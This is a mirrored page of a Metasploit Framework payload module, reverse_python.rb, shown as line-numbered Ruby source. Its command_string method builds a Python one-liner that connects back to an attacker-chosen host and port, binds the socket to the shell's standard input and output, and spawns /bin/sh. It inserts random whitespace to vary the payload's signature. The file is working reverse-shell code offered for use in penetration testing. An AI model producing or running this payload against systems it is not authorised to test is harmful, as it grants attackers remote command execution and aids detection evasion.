CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_python.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = :dynamic
10
11
include Msf::Payload::Single
12
include Msf::Payload::Python
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'Unix Command Shell, Reverse TCP (via Python)',
18
'Version' => '$Revision: 1 $',
19
'Description' => 'Connect back and create a command shell via Python',
20
'Author' => 'bcoles',
21
'License' => MSF_LICENSE,
22
'Platform' => 'unix',
23
'Arch' => ARCH_CMD,
24
'Handler' => Msf::Handler::ReverseTcp,
25
'Session' => Msf::Sessions::CommandShell,
26
'PayloadType' => 'cmd',
27
'RequiredCmd' => 'python',
28
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
29
))
30
register_options(
31
[
32
OptString.new('SHELL', [ true, 'The system shell to use', '/bin/sh' ])
33
]
34
)
35
register_advanced_options(
36
[
37
OptString.new('PythonPath', [true, 'The path to the Python executable', 'python'])
38
]
39
)
40
end
41
42
def generate(_opts = {})
43
return super + command_string
44
end
45
46
#
47
# Generate random whitespace
48
#
49
50
def random_padding
51
" "*rand(10)
52
end
53
54
#
55
# Generate command string
56
#
57
58
def command_string
59
raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"
60
cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")
61
"#{datastore['PythonPath']} -c \"#{ py_create_exec_stub(cmd) }\""
62
end
63
end
64
65